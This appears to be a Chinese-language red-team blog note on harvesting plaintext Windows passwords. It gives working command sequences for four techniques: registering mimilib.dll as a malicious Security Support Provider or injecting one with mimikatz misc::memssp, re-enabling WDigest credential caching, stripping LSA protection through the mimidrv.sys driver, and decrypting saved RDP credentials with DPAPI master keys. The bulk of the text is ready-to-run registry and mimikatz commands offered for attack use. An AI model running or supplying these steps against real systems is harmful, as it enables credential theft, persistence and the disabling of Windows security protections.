前言:
提桶跑路一個月了,平躺是真滴舒服,心寬體胖。后面一段時間直到hw結束,我打算把主要精力都放在免殺上面,不會點C真的寸步難行,或者就只能從go下手了
0x01 SSP記錄明文密碼
SSP(Security Support Provider)是一個用于實現身份驗證的DLL文件,主要用于Windows系統的身份認證功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)
當操作系統啟動時SSP會被加載到lsass.exe進程中,由于lsass可通過注冊表進行擴展,導致了在操作系統啟動時,可以加載一個自定義的dll,來實現想要執行的操作。
當我們在域環境內對LSA進行拓展自定義DLL文件時(替換某個ssp為惡意ssp,或者將ssp文件上傳,修改lsa注冊表使之啟動時加載),就能夠獲取到lsass.exe進程中的明文密碼。
適用場景:
適用于win8/win2012后無法獲取明文密碼,或者維持域控、在域控上抓用戶密碼
利用過程:
在mimikatz中有32和64兩個版本,安裝包里分別都帶有不同位數的mimilib.dll。
- 復制mimilib.dll放到System32路徑下,注意版本對應32或64位系統
- 修改
hklm\system\currentcontrolset\control\lsa
注冊表中Security Packages
項的值來加載新的安全支持提供程序mimilib.dll:reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f
- 鎖屏:
rundll32.exe user32.dll,LockWorkStation
當用戶或域用戶登錄時,在c:\windows\system32生成文件kiwissp.log,記錄登錄用戶的明文密碼。
或者我們可以直接利用mimikatz向lsass注入ssp,此技術不需要將mimilib.dll放入磁盤或創建注冊表項,不需要重啟也可以獲取賬戶信息:
缺點:重啟后失效
privilege::debug
misc::memssp
等用戶輸入密碼登錄后,將在System32中創建一個日志文件記錄明文密碼:
C:\Windows\System32\mimilsa.log
Invoke-Mimikatz.ps1:
Import-Module .\Invoke-Mimikatz.ps1 //導入命令
Invoke-Mimikatz -Command "misc::memssp" //不需要重啟獲取
記錄修改密碼:reg add "hklm\System\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0rassfm\0mimilib" /f
當系統發生修改密碼的事件時,將生成一個日志文件記錄用戶新修改的明文密碼:C:\Windows\System32\kiwifilter.log
0x02 修改WDigest獲取明文密碼:
Wdigest是lsass的一種SSP程序,主要用在Win2003的LDAP和基于Web的身份驗證。它利用HTTP和簡單身份驗證安全層 (SASL) 交換進行身份驗證。但這個認證機制會在內存中以加密的形式保存win的明文密碼。
常用的mimikatz的sekurlsa::logonpasswords命令,就是依靠Wdigest來獲取明文密碼。
在win2008版本和Windows Server 2012 R2之前的WDigest是默認開啟的。
利用方法:通過操作對應的注冊表來開啟WDigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
打了補丁或2008之后的主機會多一個UseLogonCredential項
當該項的值為1則記錄明文密碼,0則為不記錄明文密碼
最后利用mimikatz獲取明文密碼:
privilege::debug
sekurlsa::logonpasswords
0x03 繞過LSA保護:
微軟在 Windows 8.1、Windows Server 2012 R2添加了 LSA 保護策略,以防止不受保護的進程對lsass.exe讀取內存和代碼注入。
查看是否開啟LSA進程保護:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 1 /f
當RunAsPPL鍵值為1就表示開啟了LSA保護,此時無法通過mimikatz獲取明文密碼:
這里如果想要獲取明文密碼有兩種方法:
1)對注冊表的RunAsPPL鍵值進行刪除:
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f
缺點:需要重啟后才能生效
2)利用mimikatz繞過LSA保護:
運行mimikatz,獲取debug權限,將mimidrv.sys驅動加載進去,使用該驅動繞過lsa保護:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::memssp
sekurlsa::logonpasswords
0x04 破解RDP保存的憑證:
當通過rdp服務登錄遠程桌面時,如果選擇了保存憑證,會在本地生成一個憑證文件,我們只要破解這個憑證里面的數據即可獲得明文密碼。
查看歷史RDP記錄:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
可以看到登錄主機對應的ip、憑證名和用戶名信息:
Windows保存RDP憑據的位置:%userprofile%\AppData\Local\Microsoft\Credentials
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
以CS上線后調用mimikatz為例:
- 利用 mimikatz 獲取 guidMasterKey(憑據的GUID):
mimikatz privilege::debug
mimikatz dpapi::cred /in:C:\Users\book4yi\AppData\Local\Microsoft\Credentials\E9BD6F76581557D2A266AF679E808EAE
- 查找對應的 Masterkey:
mimikatz sekurlsa::dpapi
- 使用Masterkey解密憑證文件獲取密碼明文:
mimikatz dpapi::cred /in:C:\Users\book4yi\AppData\Local\Microsoft\Credentials\E9BD6F76581557D2A266AF679E808EAE /masterkey:c1889997c4a1a83f858f4cffccfd36386e769a9857a86c961d2ebb45325b40fceb45dbb8c799bb788981f1ef9cecc58779e0c0938d99074a38931de0528f3abe